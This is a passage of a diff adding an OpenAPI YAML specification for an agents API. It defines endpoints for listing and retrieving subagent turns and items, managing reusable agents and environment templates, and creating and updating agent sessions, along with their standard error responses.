+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve a session subagent
+ /agents/sessions/{session_id}/subagents/{subagent_id}/items:
+ get:
+ operationId: listAgentSessionSubagentItems
+ summary: List subagent items
+ description: Lists this subagent's own items across all of its turns. See [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: subagent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the subagent in this session.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: The requested subagent history.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionItemListResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List subagent items
+ /agents/sessions/{session_id}/subagents/{subagent_id}/turns:
+ get:
+ operationId: listAgentSessionSubagentTurns
+ summary: List subagent turns
+ description: Lists all turns of this subagent, including turns after a resume. See [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: subagent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the subagent in this session.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: The requested subagent history.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionTurnListResource'
+ description: A page of turns from an agent session or subagent.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List subagent turns
+ /agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}:
+ get:
+ operationId: retrieveAgentSessionSubagentTurn
+ summary: Retrieve a subagent turn
+ description: Retrieves a turn belonging to this subagent. See [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: subagent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the subagent in this session.
+ - name: turn_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of a turn belonging to this subagent.
+ responses:
+ '200':
+ description: The requested subagent history.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/TurnResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve a subagent turn
+ /agents/sessions/{session_id}/subagents/{subagent_id}/turns/{turn_id}/items:
+ get:
+ operationId: listAgentSessionSubagentTurnItems
+ summary: List subagent turn items
+ description: Lists items belonging to one turn of this subagent. See [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: subagent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the subagent in this session.
+ - name: turn_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of a turn belonging to this subagent.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: The requested subagent history.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionItemListResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List subagent turn items
+ /agents:
+ get:
+ operationId: listAgents
+ summary: List agents
+ description: Lists reusable agents in the current project. See [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+ tags:
+ - Agents
+ parameters:
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 1
+ description: The maximum number of resources to return.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of agents.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/AgentListResource'
+ description: A page of reusable agents.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agents
+ post:
+ operationId: createAgent
+ summary: Create an agent
+ description: Creates a reusable agent without storing credentials. See [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+ tags:
+ - Agents
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateAgentParams'
+ responses:
+ '201':
+ description: The created agent.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/AgentResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Create an agent
+ /agents/{agent_id}:
+ get:
+ operationId: retrieveAgent
+ summary: Retrieve an agent
+ description: Retrieves a reusable agent by ID. See [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+ tags:
+ - Agents
+ parameters:
+ - name: agent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the reusable agent.
+ responses:
+ '200':
+ description: The requested agent.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/AgentResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve an agent
+ post:
+ operationId: updateAgent
+ summary: Update an agent
+ description: Updates a reusable agent. See [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+ tags:
+ - Agents
+ parameters:
+ - name: agent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the reusable agent.
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/UpdateAgentParams'
+ responses:
+ '200':
+ description: The updated agent.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/AgentResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Update an agent
+ delete:
+ operationId: deleteAgent
+ summary: Delete an agent
+ description: Deletes a reusable agent. See [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+ tags:
+ - Agents
+ parameters:
+ - name: agent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the reusable agent.
+ responses:
+ '200':
+ description: The deleted agent.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedAgentResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Delete an agent
+ /agents/environments/templates:
+ get:
+ operationId: listAgentEnvironmentTemplates
+ summary: List agent environment templates
+ description: Lists reusable environment templates without returning confidential values. See [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+ tags:
+ - Agents
+ parameters:
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of environment templates.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/EnvironmentTemplateListResource'
+ description: A page of reusable environment templates.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested environment definition was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agent environment templates
+ post:
+ operationId: createAgentEnvironmentTemplate
+ summary: Create an agent environment template
+ description: Creates reusable environment configuration without returning confidential setup commands or environment values. See [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+ tags:
+ - Agents
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateEnvironmentTemplateParams'
+ responses:
+ '201':
+ description: The created environment template.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/EnvironmentTemplateResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested environment definition was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Create an agent environment template
+ /agents/environments/templates/{environment_template_id}:
+ get:
+ operationId: retrieveAgentEnvironmentTemplate
+ summary: Retrieve an agent environment template
+ description: Retrieves reusable environment configuration without returning confidential values. See [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+ tags:
+ - Agents
+ parameters:
+ - name: environment_template_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the reusable environment template.
+ responses:
+ '200':
+ description: The requested environment template.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/EnvironmentTemplateResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested environment definition was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve an agent environment template
+ post:
+ operationId: updateAgentEnvironmentTemplate
+ summary: Update an agent environment template
+ description: Updates reusable environment configuration without returning confidential values. See [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+ tags:
+ - Agents
+ parameters:
+ - name: environment_template_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the reusable environment template.
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/UpdateEnvironmentTemplateParams'
+ responses:
+ '200':
+ description: The updated environment template.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/EnvironmentTemplateResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested environment definition was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current environment state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Update an agent environment template
+ delete:
+ operationId: deleteAgentEnvironmentTemplate
+ summary: Delete an agent environment template
+ description: Deletes reusable environment configuration and all confidential template inputs. See [reusing a hosted setup](https://developers.openai.com/api/docs/guides/agents-api/tools#reuse-a-hosted-plugin-setup).
+ tags:
+ - Agents
+ parameters:
+ - name: environment_template_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the reusable environment template.
+ responses:
+ '200':
+ description: The deleted environment template.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/DeletedEnvironmentTemplateResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required management permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested environment definition was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current environment state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Delete an agent environment template
+ /agents/sessions:
+ get:
+ operationId: listAgentSessions
+ summary: List agent sessions
+ description: Lists managed agent sessions using ID-based pagination and the requested sort order. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+ tags:
+ - Agents
+ parameters:
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 1
+ description: The maximum number of resources to return.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: Sort order by the `created_at` timestamp. Use `asc` for ascending order or `desc` for descending order. Defaults to `desc`.
+ - name: agent_id
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Only return sessions whose root agent has this ID. Omit to return sessions for all agents.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
+ responses:
+ '200':
+ description: A page of sessions.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionListResource'
+ description: A paginated list of sessions.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agent sessions
+ post:
+ operationId: createAgentSession
+ summary: Create an agent session
+ description: Creates a managed agent session, optionally submits initial input, and returns the session or streams its events when stream is true. See [running sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions).
+ tags:
+ - Agents
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/CreateAgentSessionParams'
+ responses:
+ '201':
+ description: The created session or its event stream.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionResource'
+ text/event-stream:
+ schema:
+ $ref: '#/components/schemas/SessionEvent'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oai-streaming:
+ request_field: stream
+ response_status_code: 201
+ x-oaiMeta:
+ name: Create an agent session
+ /agents/sessions/{session_id}:
+ get:
+ operationId: retrieveAgentSession
+ summary: Retrieve an agent session
+ description: Retrieves the current state of a managed agent session. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ responses:
+ '200':
+ description: The requested session.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve an agent session
+ post:
+ operationId: updateAgentSession
+ summary: Update an agent session
+ description: Updates session metadata. Omitted fields are unchanged. See [managing sessions](https://developers.openai.com/api/docs/guides/agents-api/sessions/manage).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/UpdateAgentSessionParams'
+ responses:
+ '200':
+ description: The updated session.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SessionResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
